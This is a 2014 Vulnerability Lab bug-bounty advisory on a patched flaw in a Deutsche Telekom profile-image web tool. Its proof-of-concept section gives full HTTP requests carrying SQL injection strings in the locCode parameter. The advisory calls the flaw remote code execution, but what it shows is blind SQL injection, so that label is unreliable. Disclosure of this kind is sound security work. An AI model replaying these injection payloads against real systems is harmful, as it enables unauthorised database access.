German Telekom suffered from a code execution vulnerability.
cd25b3a38fd009ea5accccb2da4b02fe8d14a5d269f2ee54048f6f0010bcb293
Document Title:
===============
German Telekom Bug Bounty #9 - Code Execution Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1174
Dev Article: https://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/
Exclusive News: https://news.softpedia.com/news/Expert-Finds-SQL-Injection-and-RCE-Vulnerabilities-in-Deutsche-Telekom-Systems-424518.shtml
Release Date:
=============
2014-02-05
Vulnerability Laboratory ID (VL-ID):
====================================
1174
Common Vulnerability Scoring System:
====================================
9.4
Product & Service Introduction:
===============================
Deutsche Telekom AG (English: German Telecom) is a German telecommunications company headquartered in Bonn,
North Rhine-Westphalia, Germany. Deutsche Telekom was formed in 1996 as the former state-owned monopoly
Deutsche Bundespost was privatized. As of June 2008, the German government still holds a 15% stake in company
stock directly, and another 17% through the government bank KfW.
(Copy of the Homepage: https://en.wikipedia.org/wiki/Deutsche_Telekom & https://www.telekom.com/bug-bounty )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a remote code execution vulnerability in the official german Telekom online-service web-application.
Vulnerability Disclosure Timeline:
==================================
2013-12-30: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
2013-12-30: Vendor Notification (Telekom CERT Security Team)
2014-01-02: Vendor Response/Feedback (Telekom CERT Security Team)
2014-01-24: Vendor Fix/Patch (Telekom Developer Team - Reward 1000¤)
2014-02-05: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Deutsche Telekom (German Telecom)
Product: Profil Bild Online Service - Web Application 2013 Q4
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
A rRemote Code Execution vulnerability has been discovered in the official Telekom online-service web-application.
The remote vulnerability allows attackers to inject unauthorized system commands to compromise the affected machine.
The Remote Code Execution vulnerability is located in the `downloadImage.php` and `process.php` file. The vulnerable
parameter value is the `locCode`. Remote attackers can manipulate the POST method request with the ImgType values
to inject/execute own php commands.
Exploitation of the sql issue does not require a low privileged web-applicaton user account without user interaction.
Successful exploitation of the vulnerability results in system & web-application (service) compromise.
Vulnerable Module(s):
[+] telekom.de (profilbildtool)
Vulnerable File(s):
[+] downloadImage.php
[+] process.php
Vulnerable Parameter(s):
[+] locCode > AT
Proof of Concept (PoC):
=======================
The remote code execution vulnerability can be exploited by remote attackers without user interaction or privileged user accounts.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.
Send this request first ...
POST /scripts/php/process.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0)
Gecko/20100101 Firefox/25.0
Accept: text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With:
XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-
Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+and+'a'='a
Get the Image the image with this request ...
GET
/scripts/php/downloadImage.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer:
https://profilbildtool.telekom.de/imagecropper.php?lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive
because ...
locCode=AT'+and+'a'='a
is TRUE you will see that the image has "AT" in the top left corner
Repeat with these two requests ...
//Generate the image
POST
/scripts/php/process.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept:
text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Content-Type:
application/x-www-form-urlencoded; charset=utf-8
Referer: https://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-
Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+and+'b'='a
// Get the image
GET /scripts/php/downloadImage.php
HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer:
https://profilbildtool.telekom.de/imagecropper.php?lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive
Because ...
the condition is FALSE
the image won't have AT in the TOP corner
To doublecheck
//Generate another image in with this request
POST /scripts/php/process.php HTTP/1.1
Host:
profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html, application/xml, text/xml,
*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-
10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+OR+'a'='a
//Get the image
GET /scripts/php/downloadImage.php HTTP/1.1
Host:
profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://profilbildtool.telekom.de/imagecropper.php?
lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive
Now you will see that the image has AR in the top left
corner ... Why AR??
If you check the page ... https://profilbildtool.telekom.de/imagecropper.php?lang=en
you will find in type of activity section the Lead Accounts
parameter, the first item in the list is AR which
is the result when the OR condition is TRUE it returns all the locations and it chooses the first one.
Solution - Fix & Patch:
=======================
2014-01-24: Vendor Fix/Patch (Telekom Developer Team - Reward 1000¤)
Security Risk:
==============
The security risk of the remote code execution vulnerability is estimated as critical.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed (ibrahim@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com